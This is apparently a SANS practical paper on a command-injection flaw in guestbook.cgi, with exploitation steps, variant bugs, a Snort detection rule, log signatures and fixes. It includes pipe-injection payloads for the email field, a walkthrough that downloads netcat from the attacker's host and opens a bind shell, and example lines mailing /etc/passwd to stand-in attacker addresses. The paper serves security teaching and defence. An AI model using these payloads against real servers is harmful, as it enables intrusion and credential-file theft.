3 Days Left to Save $400 on SANS Albuquerque 2014

Malware FAQ: Remote Command Execution Vulnerability in GuestServer's guestbook.cgi

Author: Diamond Tsai

Exploit Details


Remote Command Execution Vulnerability in GuestServer's guestbook.cgi

This Vulnerability was posted to BugTraq which can be found at : http://www.securityfocus.com/archive/1/159031

However, this vulnerability is not listed in the CVE directory.



Currently, there is no direct variant of the guestbook.cgi's remote command execution vulnerability, however, there are a lot of CGI programs with similar remote command execution vulnerability caused by the same reason: failed to filtered out the meta-characters from the user input( script has not sufficiently sanitized user-supplied input).

The following is just a partial list of known CGI remote command execution vulnerability:

•  Lastlines.CGI Path Traversal and Command Execution Vulnerability ( http://www.securityfocus.com/bid/3755 )

•  Dream Catchers Book of Guests CGI Remote Arbitrary Command Execution Vulnerability ( http://www.securityfocus.com/bid/3483 )

•  GBook.cgi allows remote command execution ( http://www.securiteam.com/exploits/6U00F1P0AK.html )

•  Viralator CGI Input Validation Remote Shell Command Vulnerability ( http://www.securityfocus.com/bid/3495 )

Operating System:

Web servers with guestbook.cgi CGI installed on any operating systems.



Brief Description:

The GuestServer's guestbook system: guestbook.cgi, is vulnerable to a remote command execution bug, any remote user can manipulate the input to the email field to the this cgi, and force the web server to execute specific command. This bug is caused by incomplete sanitation of the email variable from the http POST.

Protocol Description


The guestbook.cgi is a free CGI script programmed in Perl(Practical Extraction and Report Language). The author, Lars Ellingsen, of this CGI script maintain the script on the web sit: www.GuestServer.com . According to the aurthor's description about this script:

> Guestserver is a guestbook system that enables you to have your
> own guestbook on your homepage, without having all the scripts
> and data located on a completely different server.

The guestbook.cgi can store the guest information in a single file, guestbook.data, so that the guestbook system need not a complicate structure.

Though the author have announced that the newest GuestServer 5 is upcoming, however the last version available now is still version 4.1.2 released at 2000.1.13.

The following is the default filling form the guestbook.cgi used:

Protocol the exploit used

The protocol used to exploit the guestbook.cgi is the normal HTTP. This has been described in the Part1 of this paper. So the protocol description is not repeated in this section again.

The following is a typical diagram of the architecture when web client, web server, CGI program and database server are worked together.


Normally, there are six steps when CGI is involved in a request:

•  User request the CGI form, the server send the form to the client

•  User inputs the data and sends data back to the server

•  Server forward the data to CGI application

•  CGI program processes the data and send back to the server

•  Server forward the processed data to the client

•  User receives processed data.

HTTP request/response message of guestbook.cgi

The following is a request/response messages example when client filled the guestbook.cgi form and click the [Sign It] to submit the user information to the the server. It is worth to note that the client use the POST method when submitting data to the Web Server/CGI.

•  Request message send by IE client:

POST /cgi-bin/guestbook.cgi HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*
Referer: http://dpc.bleh.com/cgi-bin/guestbook.cgi
Accept-Language: zh-tw
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: dpc.bleh.com
Content-Length: 133
Proxy-Connection: Keep-Alive
Pragma: no-cache

•  Server Response:

HTTP/1.1 200 OK
Date: Tue, 29 Jan 2002 20:56:16 GMT
Server: Apache/1.3.20 (Unix) mod_ssl/2.8.4 OpenSSL/0.9.6a
Connection: close
Content-Type: text/html
<HTML><HEAD><TITLE>My guestbook!</TITLE><!Nothing...>
<Detailed message snipped>

How the exploit works

Input validation error in the perl CGI scripts

Although there are many programming language can be used for the CGI programs. Many CGI scripts are programmed in Perl. There are a lot of free Perl based CGI scripts like guestbook.cgi available from the Internet. So, there are also a lot of web masters will use these free scripts for convenience. However, many of these scripts vulnerable to different kind of attacks.

A lot of the scripts writers will think that the user will input the data to their CGI program in correct format. This yield a problem when a user supply some special meta-characters such as ";", "|", etc. in the user supplied data, these special character may make the scripts to do other things other than the scripts originally intended.

There are some kinds of methods described by tonec[3] and rain forest puppy[2], which can be used to manipulate the Perl based CGI scripts to do things other than the scripts originally intended:

•  Directory traversal:

When a script allow the user the supply the file to be opened, the script may read the user input to a variable: $file, and then try to open this file by the following:

open (FILE, "/usr/local/www/files/$file");
##do some thing;
close (FILE);

The programmer may think that this will allow the script to open the files located at /usr/local/www/files/ directory. However, if a user supply the input: "../../../../etc/passwd" to $file, than file opened will actually be /etc/passed.

•  System calls:

System calls in the Perl scripts will open a shell and then execute a command, this is very dangerous. Here is an example:

$somevar = system("ls $UserInput");

This script look like can list the files in the user supplied directory only, if the user input "/tmp", then the command "ls /tmp" will be executed.

However, if user pass "/tmp ; cat /etc/passwd" to $UserInput , then it will execute "ls /tmp", and then, "cat /etc/passwd".

•  Sendmail calls

Many scripts will call the sendmail program to send data to the users, the guestbook.cgi is an example. If a script get the user input to the variable $mail_to, and then call the sendmail or other mail program to send mail to this email address like following:

open (MAIL, "|/usr/bin/sendmail $mail_to );
print MAIL "To:$mail_to\nFrom: bleh@bleh.com\n\nHello\n";
close (MAIL);

This script look like that a mail will be sent to the email specified by th user to the variable $mail_to. However, if the data "other@company.com; mail bleh@bleh.com < /etc/passwd" was supplied to the $mail_to variable, the line really executed will become:

/usr/bin/sendmail other@company.com ; mail bleh@bleh.com</etc/passwd

•  Pipe problem:

When a script allow the user the supply the file to be opened, the script may read the user input to a variable: $file, and then try to open this file by the following:

open (FILE, "$file");
### do something

The programmer may think that this will allow the script to open the files specified in the user input to the variable $file, however, if "cat /etc/passwd|" was supplied to the variable $file, then the first line will become:

open(FILE, "cat /etc/passwd|");

So the command will be executed. A file checking (-e) before really open it may prevent part of this problem, but may also be escaped partly by the following poison null byte problem. The detail information can be found in rfp's article about perl CGI problems.[2]

•  Poison null byte:

When a script allow the user the supply the file to be opened, the script may read the user input to a variable: $file, and try to use the file extension to prevent the user to open unauthorized files. The following is an example:

open (FILE, "$file.html");
### do something

The programmer may think that only *.html file can be opened by this script. However, if a null byte is appended to the files user want to open, for example, /etc/passwd%00, then this will script will open the /etc/passwd rather then /etc/passwd%00.html. More detailed information can also be found at rfp's perl CGI problems article[2].

CERT has published an article " How To Remove Meta-characters From User-Supplied Data In CGI Scripts" which give the suggestion to filter out all the meta-characters from the user input to avoid the above problem, however, not all of the programmer will follow it. So there are still lots of CGI scripts with such kind of problems.

Vunerability in the guestbook.cg script

guestbook.cgi has included some meta-characters filters in its scripts. The email variable is first filtered for HTML tags:

line 283:

$FORM{'email'} =~ s/\]*\>//ig;
$FORM{'email'} =~ s/\//g;
$FORM{'email'} =~ s/\"/_/g;
if ($FORM{'email'} !~ /^[^\@]*[\@][^\@]*?\.[^\@]*$/g) {
$FORM{'email'} = undef;

Then commas, semi-colons, and colons are filtered as seen below:

line 360:

&mail_guest if ($mailto_guest && $mailprogram && ($FORM{'email'} !~ /[\,\:\;]/));

Finally, the email was also be verified to make sure it is in the "normal" form: *@*.* . This filter can be seen as below:

line 957:

if ($FORM{'email'} =~ /.*?\@.*?\..*?/) {
open (MAIL, "|$mailprogram $FORM{'email'}");

However, the | (pipe) character is not filtered! We can take advantage of this flaw to execute any command we want.

•  Limitations:

The default configuration of the guestbook.cgi do not send a mail automatically to the guest, hence the following line will not be executed in the script:

open (MAIL, "|$mailprogram $FORM{'email'}");

Without this, we are not able to take advantage of the pipe problem described above. The guestserver.cgi will mail the guest when he/she posts to the guestbook, and hence execute open(MAIL, "|$mailprogram $FORM{'email'}"); , if the server have these lines in the guestbook.config file:

<-guestbook.mailto_guest-> # Yes = 1, No = 0

This exploit will work only if above <-guestbook.mailto_guest-> was enabled (set to 1).

Next, the colon is filtered in email variable by Line 360, so we cannot simply send ourselves an xterm since the display string needs to contain a colon. (ie: "xterm -ut -display")

We must also keep the email variable in "normal" email form. (ie: *@*.* )

•  Exploit:

Because the | (pipe) character is not filtered, we can construct an email variable with commands delimited by |'s and the CGI will happily execute these commands if it looks like a "normal" email address.

An example email variable that would execute "bleh" on remote server: "| bleh | bob@hax0r.com" . This would result in the execution of "/bin/sh -c | bleh | bob@hax0r.com" on the remote server. If we look in apache's error_log we will see the following entry:

sh: bleh: command not found

sh: bob@hax0r.com: command not found

An attacker can use this to his/her advantage to possibly get a backdoor and run it on the server, thus gaining remote access to the server running the CGI script.


The test environment

The test environment for producing the exploit is as follows:

•  The exploit target:

•  Redhat Linux 7.1
•  Apache 1.3.19
•  GuestServer's guestbook.cgi v4.1.2
•  Perl
•  Hostname: dragon
•  IP Address:

•  The attack workstation:

•  FreeBSD 4.4
•  Apache 1.3.19
•  Perl
•  Whisker CGI Scanner v1.4 installed
•  Hostname: dpc
•  IP Address:

• The Desktop:

•  Windows 2000 Professional
•  Achilles (Proxy )
•  Hostname: diamond
•  IP Address:

The exploiting phase

•  Scanning Phase:

The CGI scanning tool whisker by rain forest puppy is executed from the attack workstation(dpc, to test the exploit target to verify if there were any vulnerable CGI scripts exists:

The guestbook.cgi was found at this phase.

•  Exploit Phase:

After some search on the Internet, the exploit tool against the guestbook.cgi wrote by fish stiqz was founded and downloaded from: http://www.synnergy.net/~fish/oldsite/security/guestrook/guestrook.c

Fish Stiqz also write an advisory about this problem, this advisor can also be found at the author's site: http://www.synnergy.net/~fish/oldsite/security/guestrook/guestbook.advisory .

This program was then compiled as gustrook and executed:


From the printed out message, the usage of the program is very easy. We can use the following to execute any command we want:

./gustrook target.host "command1 args | command2 args"

Now we can prepare a compilied netcat program which can allow the -e option and put this executable at the attack workstation's web server. Then manipulate the guestbook.cgi to download the file:

The nc should be downloaded to the /tmp directory, however, this nc file is not a executable yet, we will need to issue an additional command to change the nc to be executable. The following is the command executed:

Finally, we can manipulate the guestbook.cgi to execute the nc to listen at the 2002 port and execute /bin/sh automatically when a client connect to this port, as we can seen below:


Now we will have a backdoor listen at 2002 port, and we just need to use the nc tp connect to the exploit target's 2002 port:


As we can see in above, after connected to the 2002 port of the exploit target, we can get an interactive shell, with the id: apache, we can do ls, cd, and any other command we want. Now we will not need the guestbook.cgi to blindly execute the command we want.

Finally, we can use any other local exploit method like buffe overflow to extend our privilege. The local exploit method is beyond the scope of this paper, and won't be discussed here.

•  What the exploit program really do?

If I execute the netcat at the 80 port on the workstation with windows 2000 professional, (, and then use the ./gustrook to "attack" against my workstation, then we will be clear about what is the program doing, the command we are using is:

./gustrook "/usr/bin/wget -P /tmp"

From the following, we can see that the following string was sent to the gusetbook.cgi program:

name=xlpesg&SIGN=Sign+it%21&email= %7C%2Fusr%2Fbin%2Fwget+ &location=Germany&message=telconinjas+suck

The strings in bold is the final data transmitted to the email variable:


In the string, the %7c is processed by the perl as "|", and %2F as "/", "+" will be processed as " "(space), and %40 is "@". So the string got by email variable is indeed:

/usr/bin/wget -P /tmp|bleh@bleh.com

This string will match the "normal" format: *@*.* guestbook.cgi required. And when open (MAIL, "|$mailprogram $FORM{'email'}"); is executed, the command /usr/bin/wget -P /tmp was executed by the CGI program. So we go the exploit.

If we click the View Guestbook icon, we can also easily see what "guests" are added to the guestbook, the email part is just like we saw above.

How to use the exploit

We have discussed how to use the exploit program in the above section. The exploit program : guestrook.c can be downloaded from the following url:


We can compile this program and use the following to execute the commands we want:

./guestrook target.host "command1 args | command2 args"

The " " characters are needed and can not omitted.

•  How to manually run the exploit?

Though we are focus on the exploit program: guestrook.c in all the previous sections. The exploit can be done very easy just by a browser:

Just fill out any random characters in the other fileld. And input the following to the email field:

| cmd args | user@non.com

Then the command cmd will be executed by the args. Note that, the command must be supplied by absolute path, or the wed server will not execute it.

The following is an example, it can get the same result as the following:

./guestrook "/tmp/nc -l -p 8889 -e /bin/sh"

However, there is still a restriction on using the browser to exploit this vulnerability: the email filed was restricted to 60 characters. If the command we are going to run is too long, we may need achilles to maunaul modify the data sent to the server.

Description of variants

The following are some short descriptions about the vulnerabilities with similar problems stated in previous section.

•  Lastlines.CGI Path Traversal and Command Execution Vulnerability:

LastLines.CGI is a script coded by David Powell that allows a user to view the contents of a logfile specified by the user.

This script improperly filters the user input to $error_log. The "../../../../../" path traversal chars is allowed by the user input, this will leave any file readable by HTTP user also readable by unauthorized remote users. An malicious user can open the /etc/motd by feed the input "../../../../../../etc/motd" to $error_log.

This script is also missing a "<" in the open() function which will allow us to execute any command on that remote server that the web server has permission to execute. EX: path/to/error_log;command arg1|

This vulnerability was submitted by BrainRawt <brainrawt@hotmail.com>. The following two URL have more detailed information about this vulnerability:

Securityfocus: http://www.securityfocus.com/bid/3755

Bugtraq: http://www.securityfocus.com/archive/1/247710

•  Dream Catchers Book of Guests CGI Remote Arbitrary Command Execution Vulnerability:

Book of Guests is a CGI script used to maintain a web based guestbook written by Seth Leonard . It is available at http://www.dreamcachersweb.com .

The script doesn't filter out any meta-characters from the user input and pass it to the shell. Maliciously formed URLs submitted to the script may contain shell commands which will be run with the privilege level of the webserver (ie 'nobody').

EX: email@mail.com;cat /etc/passwd|mail evil@evilhost.com filled into the email field.

This vulnerability was discovered by David Kumme <supdavid@bluewin.ch>. The following two URL have more detailed information about this vulnerability:

Securityfocus: http://www.securityfocus.com/bid/3483

Bugtraq: http://www.securityfocus.com/archive/1/223689

•  GBook.cgi allows remote command execution:

The GBook CGI provides web sites with a CGI form for adding guest book notes and messages. This script is available at: http://zippy.sonoma.edu/kendrick

This CGI doesn't filter out the ';' character from user input to the _MAILTO variable. Remote attacker can take advantage of this problem to execute arbitrary commands though an URL request like the following to execute arbitrary command with the HTTP user's privilege (normally nobady):

wget "http://www.victim.com/cgi-bin/gbook/gbook.cgi?
_MAILTO=oops;ps%20-ax|mail%20 attacker@example.com&
_EMAIL= attacker@example.com&

NOTE: The wget command above should be on one line

The following two URL have more detailed information about this vulnerability:

SecuriTeam : http://www.securiteam.com/exploits/6U00F1P0AK.html

•  Viralator CGI Input Validation Remote Shell Command Vulnerability :

Viralator is a Perl CGI script designed to work with the Squid proxy server. It works in conjunction with a virus scanning engine to scan all files downloaded through the proxy server.

Viralator passes a filename taken from the URL to two shell commands used to receive the file and to scan it. It does not validate or check this input, allowing a maliciously constructed URL to contain escaped shell commands. These commands will then be executed by the Viralator script.

This vulnerability was discovered by Pekka Ahmavuo <pekka@netland.fi> . The following URL have more detailed information about this vulnerability:

Securityfocus: http://www.securityfocus.com/bid/3495

Signature of the attack

Detect the attack by Network based IDS

Because the pattern appeared in different attacks are different, it is not easy to use the NIDS to detect the attack. Recently, there is no commercial or public domain network based IDS will be able to recognize the attack against guestbook.cgi. To really recognize this, the network based IDS must be smart enough to recognize the following:

•  A guestbook.cgi is requested.

•  The email variable must have the pattern: %7C, i.e. "|"

In snort, the following rule can be added to the snort rule set to detect a guestbook.cgi request with the string "%7c":

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 80 (msg:"WEB-CGI guestbook.cgi attack attempt"; flags: A+; uricontent: "/guestbook.cgi"; nocase; content: "%7c";nocase; reference:http:// http://www.securiteam.com/unixfocus/5TP0A1F3GQ.html; classtype:web-application-attack; sid:19809;)

Detect the attack from the system

•  Apache access log:

The apache access log is as following: - - [ 30/Jan/2002 : 11:21:51 +0800] "POST /cgi-bin/guestbook.cgi HTTP/1.0" 200 0 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"

Because the user supplied data is submitted in the request message, not in the request URI. It may not possible to distinguish the normal guestbook request and a malicious guestbook attack request from the apache access log.

However, there are some useful information can be used to recognize the possible attacks against the guestbook.cgi:

First of all, if an attacker try to manipulate the guestbook.cgi to execute a command which is not exist or is not supplied with a valid path, for instance, the attacker tried to use the "wget -P /tmp" rather than "/usr/bin/wget -P /tmp". Then the following error message will appeared in the error log:

wget: not found

bleh@bleh.com: not found

Here we can see that the wget can not be found by the shell, so an error message was logged to the error log. The interesting part is that, the email address bleh@bleh.com (supplied by the exploit program) was also interpreted as a command to be executed, so another error "bleh@bleh.com not found" was also logged.

Second, even if the attacker tried to "execute" a command with correct path, some notable logs will still appeared. If the command "/usr/bin/wget -P /tmp" was supplied to the attack program, the following logs will appeared in the error log of apache:


=> `/tmp/nc.1'

Connecting to bleh@bleh.com: not found


HTTP request sent, awaiting response... 200 OK

Length: 175,916 [text/plain]

0K .......... .......... .......... .......... .......... 29% @ 9.77 MB/s

50K .......... .......... .......... .......... .......... 58% @ 2.44 MB/s

100K .......... .......... .......... .......... .......... 87% @ 6.98 MB/s

150K .......... .......... . 100% @ 21.28 MB/s

09:29:22 (5.08 MB/s) - `/tmp/nc.1' saved [175916/175916]

These log was generated by the command be executed, the above requesting log was generated by wget, which indicated that the nc file was downloaded from We can also note that the "bleh@bleh.com not found" is appeared somewhere in the log again, see the bold characters. This is because "bleh@bleh.com" was interpreted as a command as we stated, the position of the "bleh@bleh.com not found" is depend on when the command bleh@bleh.com was executed.

Finally, even if a command with correct path was executed, and the command does not have any stdout like wget, for instance: "chmod u+x /tmp/nc", the error log relative to the "email address" will still appeared:

bleh@bleh.com: not found

So, maybe the best way to detect the guestbook.cgi attack from the apache log could be finding the error logs like "bleh@bleh.com: not found" in the error log of apache.

•  System/sendmail log:

The mail program log could be the best way to find this attack. When the attack was happened, the mail program is called to send a mail without any recipient. So we will see the following error log in the message log:

Jan 30 11:18:54 dpc sendmail[1416]: g0U3Isn01416: SYSERR: putoutmsg (NO-HOST): error on output channel sending "501 Recipient names must be specified": Broken pipe

•  The Guestbook data:

If the attacker is stupid enough, he/she may forget to clear the user information registered in the guestbook. The manager could find some user registered to the guest book with the email address like the following: E-mail: |/tmp/nc -l -p 5677|bleh@bleh.com .

This means someone is trying to do the evil thing. If the attacker can not successful exploit this problem, for example, the mail_to_guest is not enabled, then the strange "email" will appeared in the guest book data. However, if the attack succeed, the attacker can easily modify the data file: guestbook.data, because it is a plain text file, and writeable for www user. One successfully attacked, the can definitely get the same permission as www user.

How to protect against it

Currently, there is no official patch can fix this problem. However, there are some workarounds as follows:

•  Disable the mail to guest function:

This can be done by change the lines in the guestbook.config:

<-guestbook.mailto_guest-> # Yes = 1, No = 0


Change the value to 0 will diable the mail to guest function.

•  Filter out the Pipe Line meta character: '|'

line 360 should be modified from:

&mail_guest if ($mailto_guest && $mailprogram && ($FORM{'email'} !~ /[\,\:\;]/));


&mail_guest if ($mailto_guest && $mailprogram && ($FORM{'email'} !~ /[\,\:\;\|]/));

•  Use CGI scanners and other vulnerabilities check tools regularly to detect possible vulnerabilities and fix these security holes before the attackers did.

Source code/ Pseudo code

The exploit code of guestrook.c can be found at:


The exploit code is simple, basically it did the following:

•  Read the attack target, commands and args to be executed.
•  Prepare a payload as the request message to be sent to the server:
•  convert the command and args by the following rules
•  convert the ' '(space) to '+'
•  convert meta characters other than '.' Or ' -' to the form %HEXHEX
•  inject the command to the payload to the whole apyload:
name=%s&SIGN=Sign+it%%21&email=%%7C {converted command} %%7Cbleh%%40bleh.com"&location= Germany &message=telconinjas+suck
•  Open the socket to the attack target and send the payload to do the exploit.


 [1] Guestbook.cgi exploit and advisory: http://www.synnergy.net/~fish/oldsite/security/guestrook/guestbook.advisory

[2] PERL CGI Problems (Phrack 55.7) Rain Forest Puppy

[3] CGI SEC by tonec:

[4] HTTP 1.1, RFC 2616:

[5] HTTP 1.0, RFC 1945

[6] Variants exploits:

[7] How To Remove Meta-characters From User-Supplied Data In CGI Scripts, CERT Coordination Center

[8] WWW security FAQ: Lincoln D. Stein & John N. Stewart